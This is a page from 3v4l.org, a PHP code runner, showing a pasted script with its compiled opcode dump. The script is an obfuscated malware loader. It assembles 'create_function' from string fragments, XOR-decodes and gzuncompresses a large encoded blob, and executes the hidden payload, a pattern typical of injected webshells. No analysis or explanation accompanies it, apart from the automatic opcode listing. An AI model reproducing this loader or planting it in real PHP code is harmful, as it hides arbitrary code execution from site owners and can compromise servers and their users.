3v4l.org

run code in 300+ PHP versions simultaneously
<?php $qsbmqnrb=array('$qsbmqnrb[0]=$qsbmqnrb[3];$oclbdmjg=oclbdmjg(6,13);$qsbmqnrb[0]=$oclbdmjg($qsbmqnrb[2]);','$qsbmqnrb[2]=gzuncompress(oclbdmjg(718,2158));','R0hPZH5nXH53d1hDTWNsfGJsek12dWdXdmdgf2RJaXl9c2FzelhuemJnYmlkQ0lZXUJBXkxQVE5ZRFVFT0ZERHJpdXpmf39qaWp8f3pmb2V1bWx+aix6fDBsRGQ5Pj4xYVh1VW96a0JqZjlgZW07eyR7Q2guNTl1eTd+XmhySmw1LGJsbG56ZUZPZWR6c2p/YWRhdyh+amB/Zzt4a2tpZSVhZHxkZWR8O2VjdGhteTt3YmN2Zn9tc21FRFpTXmVKdmJ2aH43PyFTQW9yRURaU1JaTFRfT29xfWY7Jlxjbmt/bHUxf2xkf2AofndvYmh8VVlGJlhreVhYR19VX1ZIQVdYXlpZdHReU1xKXUZcSUpFVU9hU1xFS1FUTVBTWUFeT0pkMnNnSnAidGt1ImFraml4USJkY3MiPGVoZXw9fX5zclN6dkxzImRjcyI8SkROJWVmeWJhUm1ZXV5tSU5ZVUNTZFd4Vm1ZXV5HREBQeURIImRjc0x4YGJsbHZcc2Z4T2x5aGprV0R5fX5PemAjYGJ8d2JlfD99YHZlY2ljVXpgI2BifHdiZXw/a3F5YmdQWWt/fGBodlxjYnplaERuTiNyI3xhZE5kR29xfWY7Jlxjbmt/bHVSS2x6S1h+ZHxmbH9cYG58T2V1bmtdaXF6YkpycXhiZ0xQRURaU1JHUEJZV1FPVVRebGVsa2VUayEgYn91Zml/fX0mYG1rU2'.'giIGh/d2F0JWt/ZW5aWlBlbyQgZWJgYmtia3Umc3VnYm0iZ34ubn1tYWJvPnh4ajV3MFJMK3szVmlKaitkM3NlYiV3Nm5WditmM1NTRW5lfG9SY3BiZH5nd0dxZWg8VWNMZWVkenM3PSxaYmZFVitnM2VqcUhKdn51emx9ZnFuUStnM2B4WFFqeGhoa2BIRGh3K2czcGYyS1NfWD85PipQd0VQWUV/fXc3MnFnaiJWWXWMi1t2feFPGfc6FdTU0LCO7AiV/E+hXm0/qrE00GmnXiaJj2TSAjj7CxJZruFfd7phTcvATRtQfrX7X8WUrEY0i95qmcKK1dHY4SBakIaEaIq5V/ifR0eUXllQVnM4oKJBXxVHCC3AmPB1rsiAq3VYdLWLn3pX17mpZb2+dLCoQ1x7c49+9TLY3F0PCBZqeirMCPqxz9TKFdjbtLLaeM5ty5Ru5LQmU99Ogtl+5FBO7zKXVuRUaiic+SbQ+r43jP5NSoA1zm1T+U7KszqCnIfSzmNU7NnIvvP938URc+3Dt9ypfZ31wlEK6f3FWwzEJXMEach5UBbGi2LDlDj3OipOqvou2glrnZv8RbQNEuwl/O63VYRgulb+E08QlSx6w/l1SxSITZf+mS6lO2Dq9WtsMk4Imr81qSHqkWD0wix6mPadWUzvmftJjBXHupB1hqPW4CA8kQyF9murOMfYvUe/yIj9XDB/BI94wt/KdzN3DvYeZNBV4pDNuo/zatAZ4HJw9evGE1DqxvkLbPIo/Wfe4WsMk5Z0nf1E7kPSY1RV3oN8r10pFSmS9tyyNr1vlyqlLBXWbxyrwDjKZU6R6jcTO+NKFLVaq5gn/WKNv8GS+BBxB57xK8vYOpqhMqBHCpPCelmSRwzC5D5RsEke02A3FhlldFyoA3krHlZQ9MB2lH5mrVGmRPDIs6+OZ1WIj9bOUK3v+Cbx/BX9cor/C6JN8Oz7aEnm'.'CqLvEpQotmnI1CRTNBnZ132tZmPSaFahrqyJmK6UPDwQTfE0mYRv8Zhq+wCBQmk5Lm2DcNfNuOeDj/gZFgVOeBAR6X5fo2CwqTPHNnr8g8oGk7stbDJ9NGvDag5di3xAUAKrK5p1nGxAEVwQpwJ2rADvNozlDLyqi5gTAoXTVQTdmHEicR2Sptm7pJCmVgxEKBGMY8pNBCfquxBB/BUsqyMjQB0/fy+VQFJpihlQiGa8a6I+HOFpvii7eY6Oh6Cdg5dvlLlBVLlnHRKKcSuvjbl1wNuUb526KGqPK6MK2/Znw5CICbz8st6Zydg8nBTQMmrUSIQHqfB7Xz0BKcvWsnUrvDMNwGgGD1RE3CKqZjoXdNN2KqgJflvd1rIQKv4tX2wD+9ZJN+ejgrVRJlKbakdLzQA0Cs7/DkhVdlvNX5aImJVPX4DKhVtE+GJPOuxGO3pjHZXLJWVFOucT0nQP0mCnewjWBKFgmU4N8314Jf/xe3vnF2D5/PDjAhAEODKMjEa85i9BhA6CKbPf9KYNwNZD5dgqkCMHiHGlClqavtKdw/48xSIHF4VzI+gOwPiJUuk4j1Wf9QWl196P9c/seTlGPiTTJBodOnRo81ROoQI0J3tv/JB8MCTdarR0n3oCGVM+h9IkKULpdiq9EJqymrsP0XZHY4MdQptz1mqH38Bp5Yktl2HCvKt0PlGWQ2GbGZPlKrL5s06CV63/NjEUL1uDMhbT9yIUVkQhgaXdNT9kMQHDrDiZTnDM0tTuhmFhsXhA'.'uducmhqt5WIYC5UuoHZdZoXyNQwufYkpd1MlHlCkabzZqyICJevMAcdQEaufNStrwLbwdw3itBjcoaXu0GY6PNfhUQF9RjIcMO4jM0TaHHKJhTcfoOcJKRcVuWCMiJdkhSz1MURV4SOg52W6f7yy8cfd4FO6sETCQGXWZzY4i2Q4CrsVCmPOYRTNXsD5PPQzed1vzD4tbTbx1delbOwXlul0lf1mnBDgTYQ/xbV36Wun3qIDmOa+yXiaL7Td2dc3JI6Sh4h2uX99NPjIjl0JE1ZpWq3b1qKz2OnpBylthD/RIovjHdE5U8LgYWC48PE4eqmQS8DHGfsPiYyN0U7g4y/JURgECVjYHS3ecMzEZCjxutLPl0nKR1uxgYCG8w0Y5D06DwSkb13VRmTblFUFokk6TnUrO5IcUes++jYE+kKOpw8creu1ShGoQr1UFDUy95t1o8RHqtAey99QkjLgc4Y7z+UUAu1zJCWiZrHHNaBT8LE08ZwLGO4fjbrkbT3KH8NdRl+JFMb6RoiBJGPcFCE6tLp5T305zV4ceaaDs3ubzA80AvwpPTcQ8TK8vUOZLeDIoOulHCa1azeuXpFiDctPw5x/NEp5HFHkrzcFLhXvyNnDRNHUNsb0XrUKCo/J5AQmUa6rDnPJYnZS8NXmY163P0jBbjCkBbbFgVSJr/xO1c9IXLFhB8WO4wid4YqOPoiCbkiAf8PfnxNctR2+rAzrIKtr7dZnsDcCc6Tr0eQIT5h8URSMaTzzPyHcYt6wgD94CXbEIAfV9CiKTCyPNd7e2G2xlOviS5jq4nvV/j2HzZ3i+CCIFdY2vRJi1LHIvOu5C0abnzb8hAvBszLc5tLVEGwkYzUuR2LhAspc40kTz+RbQx5y1h79pd8Ofp5M4RxLWpra2C9SFMR0cs1gz5Tp/rqUAxNxcokhWCTYFedu1MwkhuJK'.'+jLDf99115bGbjMr94DfirUMEcpY7SAx9gxW7iS24bbwQVvilAyIfN8ff4fN/d38mPfwLs1tqaRp4XOo4P3y6+FPJNC0jzD4NJpHFRIm1RHT7dC9vnVmTVFkrXMd0NKHAJRlKSLgl887mTNpQyYAhxtqDHyL3EkS8AVhqPoKys662b/9UpASlutta+6IRfG8XlJSoOf28etKbPXo+Q2gWkZvptmF5BFXWdiTjLH9lNmMfth+/x0lghCyGh2sSbXWl1TqucyHcuSEF2sjhU/xCeFVb+xfB2YufuA6sagPH7vI9aiW+RCBNh4kN6+GS9nxFghxdF59qmg7V1gt4e6pze6tw5o9Rz7xEFDGC+hdYCwOQaJAN+63q7rsPHDFdjJ174bd4ulYFvL0VmsaXLyz8UrcoSlD8ezrd9RdveNTaQ==',"/*cbbb\x6f\x71\x7d\x66\x3b\x26\x5c\x63\x6e\x6b\x7f\x6c\x75*/");$gygmima='create_'; if(function_exists($gygmima.='function')){ $gygmima('','}function oclbdmjg($h,$f){global $qsbmqnrb;$n=$qsbmqnrb;$t=str_pad("",$f,"mpncmrcgkhphpzjb");$s=str_repeat("\x1f",$f);$u=str_repeat("\xe0",$f);$k = substr($n[0],$h,$f);return(($k^$t)&$s)|($k&$u);}{');for($ly=-1;++$ly<3;){$gygmima('','}'.$qsbmqnrb[$ly].'{');}};unset($qsbmqnrb);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 7, Position 2 = 23
Branch analysis from position: 7
1 jumps found. (Code = 42) Position 1 = 20
Branch analysis from position: 20
2 jumps found. (Code = 44) Position 1 = 23, Position 2 = 13
Branch analysis from position: 23
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 13
2 jumps found. (Code = 44) Position 1 = 23, Position 2 = 13
Branch analysis from position: 23
Branch analysis from position: 13
Branch analysis from position: 23
filename:       /in/KKqVg
function name:  (null)
number of ops:  25
compiled vars:  !0 = $qsbmqnrb, !1 = $gygmima, !2 = $ly
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, <array>
          1        ASSIGN                                                   !1, 'create_'
          2        INIT_FCALL                                               'function_exists'
          3        ASSIGN_OP                                     8  ~5      !1, 'function'
          4        SEND_VAL                                                 ~5
          5        DO_ICALL                                         $6      
          6      > JMPZ                                                     $6, ->23
          7    >   INIT_DYNAMIC_CALL                                        !1
          8        SEND_VAL_EX                                              ''
          9        SEND_VAL_EX                                              '%7Dfunction+oclbdmjg%28%24h%2C%24f%29%7Bglobal+%24qsbmqnrb%3B%24n%3D%24qsbmqnrb%3B%24t%3Dstr_pad%28%22%22%2C%24f%2C%22mpncmrcgkhphpzjb%22%29%3B%24s%3Dstr_repeat%28%22%5Cx1f%22%2C%24f%29%3B%24u%3Dstr_repeat%28%22%5Cxe0%22%2C%24f%29%3B%24k+%3D+substr%28%24n%5B0%5D%2C%24h%2C%24f%29%3Breturn%28%28%24k%5E%24t%29%26%24s%29%7C%28%24k%26%24u%29%3B%7D%7B'
         10        DO_FCALL                                      0          
         11        ASSIGN                                                   !2, -1
         12      > JMP                                                      ->20
         13    >   INIT_DYNAMIC_CALL                                        !1
         14        SEND_VAL_EX                                              ''
         15        FETCH_DIM_R                                      ~9      !0, !2
         16        CONCAT                                           ~10     '%7D', ~9
         17        CONCAT                                           ~11     ~10, '%7B'
         18        SEND_VAL_EX                                              ~11
         19        DO_FCALL                                      0          
         20    >   PRE_INC                                          ~13     !2
         21        IS_SMALLER                                               ~13, 3
         22      > JMPNZ                                                    ~14, ->13
         23    >   UNSET_CV                                                 !0
         24      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
151.34 ms | 1396 KiB | 15 Q